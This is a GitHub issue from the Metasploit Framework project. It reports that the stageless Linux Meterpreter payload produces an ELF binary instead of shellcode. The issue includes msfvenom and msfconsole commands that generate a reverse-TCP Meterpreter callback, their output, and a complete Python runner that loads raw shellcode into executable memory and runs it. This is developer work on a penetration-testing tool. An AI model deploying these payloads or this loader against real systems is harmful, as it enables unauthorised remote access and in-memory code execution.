rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.25k stars 14k forks source link

Linux stageless Metereter is not shellcode #19670

Open zeroSteiner opened 4 days ago

zeroSteiner commented 4 days ago

The stageless Linux Meterpreter (mettle) is not able to generate shellcode. If you try to do it in msfvenom you'll get an error preventing you from doing that. This same restriction however is not present for modules, or if you try to generate the payload using the payload module from Metasploit.

msfvenom throws an error:

bundle exec ./msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=102.168.159.128 R > /tmp/meterpreter_stageless.bin
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Error: selected payload can only generate ELF file

msfconsole generates invalid shellcode:

metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter/reverse_tcp) > use payload/linux/x64/meterpreter_reverse_tcp
metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > generate -f raw -o /tmp/meterpreter_stageless.bin
[*] Writing 1068952 bytes to /tmp/meterpreter_stageless.bin...
metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > file /tmp/meterpreter_stageless.bin
[*] exec: file /tmp/meterpreter_stageless.bin

/tmp/meterpreter_stageless.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, with debug_info, not stripped
metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > 

I'm also pretty confident that if we hypothetically had an exploit that could fit the amount of code necessary for the stageless payload (4MiB or more) that the exploit would be given an incompatible payload using payload.encoded since it's not shellcode. This issue should be resolved by generating shellcode for stageless Meterpreters. As a condition of success, both of the commands above should generate a functional payload instead of msfvenom failing and msfconsole generating something that's wrong.

This Python runner can be given Linux shellcode in a file and it'll execute it. Right now it can be used to show that staged payloads work just fine, but if a stageless Linux payload is used (generated through msfconsole not msfvenom), it'll crash with a segfault.

#!/bin/python
import sys
import mmap
import ctypes
import argparse

def align_up(number, alignment=mmap.PAGESIZE):
    if (number % alignment):
        return number + (alignment - (number % alignment))
    else:
        return number

def execute(shellcode):
    mm = mmap.mmap(
        -1,
        align_up(len(shellcode)),
        mmap.MAP_SHARED,
        mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,
    )
    print("[+] Writing shellcode to memory...")
    mm.write(shellcode)

    ptr = int.from_bytes(ctypes.string_at(id(mm) + 16, 8), "little")

    functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
    fn = functype(ptr)
    fn()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Python Shellcode Runner")
    parser.add_argument('shellcode_file', type=argparse.FileType('rb'), help="the shellcode file")
    args = parser.parse_args()

    shellcode = args.shellcode_file.read()
    execute(shellcode)